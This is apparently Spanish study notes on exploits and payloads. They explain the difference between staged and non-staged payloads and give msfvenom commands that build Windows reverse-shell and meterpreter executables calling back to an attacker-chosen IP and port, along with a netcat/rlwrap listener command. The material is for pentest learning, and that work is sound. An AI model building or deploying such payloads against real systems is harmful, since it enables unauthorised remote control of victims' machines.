Definición

Cuando nosotros encontramos una vulnerabilidad en un sistema y queremos aprovecharnos de ella podemos hacer uso de una herramienta llamada Exploit, de este existen dos tipos los Exploit’s Manuales y Automatizados. Un Exploit es una herramienta utilizada para aprovechar o explotar una vulnerabilidad en un sistema. Es decir, cuando nosotros encontramos una vulnerabilidad podemos buscar un Exploit ya existente para dicha vulnerabilidad, o crear nuestro propio Exploit.

Cuando es explotada una vulnerabilidad con un Exploit se ejecuta o activa una carga con instrucciones, esta carga útil son los llamados Payload. Un Payload es un módulo de un Exploit, es decir que utiliza al Exploit como un vehículo para poder llegar a su objetivo y poder realizar las acciones maliciosas que contenga dentro. Por ejemplo tras haber explotado una vulnerabilidad, un Payload puede permanecer en Standby dentro del sistema atacado a la espera de algún acontecimiento, ya sea para transferir datos al atacante, ejecutar un Keylogger, desplegar una puerta trasera, borrar documentos, entre otras cosas.

Por lo tanto el Exploit puede proporcionar el acceso a un sistema a través de una vulnerabilidad, pero no tiene por qué realizar el daño mas grave, ya que es el Payload que se encarga de eso.


Tipos de Payload “Staged” y “Non-Staged”

Definiciones

Payload Staged Es un tipo de payload que se divide en dos o más etapas. La primera etapa es una pequeña parte del código que se envía al objetivo, cuyo propósito es establecer una conexión segura entre el atacante y la máquina objetivo. Una vez que se establece la conexión, el atacante envía la segunda etapa del payload, que es la carga útil real del ataque. Este enfoque permite a los atacantes sortear medidas de seguridad adicionales, ya que la carga útil real no se envía hasta que se establece una conexión segura.

Payload Non-Staged: Es un tipo de payload que se envía como una sola entidad y no se divide en múltiples etapas. La carga útil completa se envía al objetivo en un solo paquete y se ejecuta inmediatamente después de ser recibida. Este enfoque es más simple que el Payload Staged, pero también es más fácil de detectar por los sistemas de seguridad, ya que se envía todo el código malicioso de una sola vez.


Herramienta para crear Payload msfvenom

La herramienta msfvenom nos permite crear un binario .exe malicioso, este binario es un Payload que puede ser creado de tipo Staged o de tipo Non-Staged dependiendo de lo que nosotros queramos.

Un ejemplo de creación de un Payload Non-Staged sería el siguiente

  • msfvenom -p windows/x64/shell_reverse_tcp --platform Windows -a x64 LHOST=tu_direccion_ip LPORT=tu_puerto -f exe -o nombrequequieras.exe Acá estamos creando un binario .exe Payload de tipo Non-Staged que nos enviará una consola a nuestra IP al ser ejecutado en una máquina Windows de 64 Bits.

Si deseáramos crear un Payload Staged, lo único que hay que hacer ==es cambiar el primer guion bajo por un “/”== de la siguiente forma

  • msfvenom -p windows/x64/shell/reverse_tcp --platform Windows -a x64 LHOST=tu_direccion_ip LPORT=tu_puerto -f exe -o nombrequequieras.exe En ambos casos nosotros tendríamos que estar en escucha en el puerto asignado previamente con nc, para con nc poder recibir la consola una vez que se ejecute el binario.

Cuando ya tengamos el dominio de la consola mediante nc y la utilicemos veremos que no podremos limpiar la consola con CTRL+L o ir hacia atrás, adelante, arriba u abajo, para poder hacerlo instalaremos una utilidad llamada rlwrap para agregársela al comando de nc de la siguiente forma

  • rlwrap nc -nlvp (Puerto) Y de esta forma ya tendríamos la consola como siempre.

La herramienta msfvenom está creada para utilizarse comúnmente con “meterpreter”, pero como ya vimos podemos utilizar netcat de todos modos. Con meterpreter también estaríamos empleando una manera para que el sistema que ejecute el binario nos envié una consola remota pero en este caso solo al Listener de la herramienta Metasploit, esto se puede hacer modificando un poco los parámetros usados anteriormente.

  • msfvenom -p windows/x64/meterpreter_reverse_tcp --platform Windows -a x64 LHOST=tu_direccion_ip LPORT=tu_puerto -f exe -o nombrequequieras.exe ==Aplicando lo mismo que en el caso anterior con “/” o con el guion bajo para elegir entre Staged y Non-Staged==.